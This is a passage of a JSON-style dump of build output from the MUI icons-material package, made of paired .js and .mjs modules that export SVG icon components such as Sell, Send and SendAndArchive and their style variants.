1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovementSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovementSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovementTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovementTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sell.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\"\n}), 'Sell');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sell.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\"\n}), 'Sell');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M12.83 20 4 11.17V4h7.17L20 12.83z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'SellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M12.83 20 4 11.17V4h7.17L20 12.83z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'SellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\"\n}), 'SellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\"\n}), 'SellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.83 12.83 12 2H2v10l10.83 10.83zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\"\n}), 'SellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.83 12.83 12 2H2v10l10.83 10.83zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\"\n}), 'SellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v7.17L12.83 20 20 12.83 11.17 4zm2.5 4C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M12.83 20 4 11.17V4h7.17L20 12.83z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'SellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SellTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v7.17L12.83 20 20 12.83 11.17 4zm2.5 4C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.41-8.83-8.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v7.17c0 .53.21 1.04.59 1.41l8.83 8.83c.78.78 2.05.78 2.83 0l7.17-7.17c.78-.78.78-2.04-.01-2.83M12.83 20 4 11.17V4h7.17L20 12.83z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'SellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Send.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.01 21 23 12 2.01 3 2 10l15 2-15 2z\"\n}), 'Send');"
  },
  {
    "path": "packages/mui-icons-material/lib/Send.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.01 21 23 12 2.01 3 2 10l15 2-15 2z\"\n}), 'Send');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10h-3L2 3v7l9 2-9 2v7l8-3.5V21c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 11h-9v-9h9zm-4.5-1L13 16h2v-3h3v3h2z\"\n}), 'SendAndArchive');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10h-3L2 3v7l9 2-9 2v7l8-3.5V21c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 11h-9v-9h9zm-4.5-1L13 16h2v-3h3v3h2z\"\n}), 'SendAndArchive');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.73c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8-3-3 .71-.71 1.79 1.79V14h1v4.09l1.79-1.79.71.7z\"\n}, \"1\")], 'SendAndArchiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.73c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8-3-3 .71-.71 1.79 1.79V14h1v4.09l1.79-1.79.71.7z\"\n}, \"1\")], 'SendAndArchiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m2.15 5.85-1.79 1.79c-.2.2-.51.2-.71 0l-1.79-1.79c-.32-.31-.1-.85.35-.85h1.29v-2.5c0-.28.22-.5.5-.5s.5.22.5.5V17h1.29c.45 0 .67.54.36.85\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L3 4v6l8 2-8 2v6l7-2.95V17c0-3.87 3.13-7 7-7\"\n}, \"1\")], 'SendAndArchiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m2.15 5.85-1.79 1.79c-.2.2-.51.2-.71 0l-1.79-1.79c-.32-.31-.1-.85.35-.85h1.29v-2.5c0-.28.22-.5.5-.5s.5.22.5.5V17h1.29c.45 0 .67.54.36.85\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L3 4v6l8 2-8 2v6l7-2.95V17c0-3.87 3.13-7 7-7\"\n}, \"1\")], 'SendAndArchiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L3 4v6l8 2-8 2v6l7-2.95V17c0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8-3-3h2.5v-3h1v3H20z\"\n}, \"1\")], 'SendAndArchiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L3 4v6l8 2-8 2v6l7-2.95V17c0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8-3-3h2.5v-3h1v3H20z\"\n}, \"1\")], 'SendAndArchiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7.01v3.49l6 1.5-6 1.5v3.49l5.39-2.27c.6-1.74 1.86-3.16 3.48-3.97z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.73c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8-3-3h2.5v-3h1v3H20z\"\n}, \"2\")], 'SendAndArchiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendAndArchiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7.01v3.49l6 1.5-6 1.5v3.49l5.39-2.27c.6-1.74 1.86-3.16 3.48-3.97z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.73c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8-3-3h2.5v-3h1v3H20z\"\n}, \"2\")], 'SendAndArchiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.01 6.03 7.51 3.22-7.52-1zm7.5 8.72L4 17.97v-2.22zM2.01 3 2 10l15 2-15 2 .01 7L23 12z\"\n}), 'SendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.01 6.03 7.51 3.22-7.52-1zm7.5 8.72L4 17.97v-2.22zM2.01 3 2 10l15 2-15 2 .01 7L23 12z\"\n}), 'SendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.4 20.4 17.45-7.48c.81-.35.81-1.49 0-1.84L3.4 3.6c-.66-.29-1.39.2-1.39.91L2 9.12c0 .5.37.93.87.99L17 12 2.87 13.88c-.5.07-.87.5-.87 1l.01 4.61c0 .71.73 1.2 1.39.91\"\n}), 'SendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.4 20.4 17.45-7.48c.81-.35.81-1.49 0-1.84L3.4 3.6c-.66-.29-1.39.2-1.39.91L2 9.12c0 .5.37.93.87.99L17 12 2.87 13.88c-.5.07-.87.5-.87 1l.01 4.61c0 .71.73 1.2 1.39.91\"\n}), 'SendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.01 21 23 12 2.01 3 2 10l15 2-15 2z\"\n}), 'SendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.01 21 23 12 2.01 3 2 10l15 2-15 2z\"\n}), 'SendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtension.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-9.3l9 4.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtension');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtension.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-9.3l9 4.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12v4l4 1-4 1v4l10-5z\"\n}, \"1\")], 'SendTimeExtension');"
  },
  {
    "path": "packages/mui-icons-material/lib/SendTimeExtensionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v6.26l2 1V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H5.01c-1.1 0-2 .9-2 2v3.8C5.7 9.8 6 11.96 6 12.5s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.16 1.37-2.78 2.2-2.94v-2.03c-1.43.17-3.15 1.04-3.87 2.97H5v-2.13c2.17-.8 3-2.87 3-4.37 0-1.49-.83-3.56-2.99-4.37V6H11V4c0-.28.22-.5.5-.5s.5.22.5.5v2z\"\n}, \"0\"), /*#__PURE__*/(0, 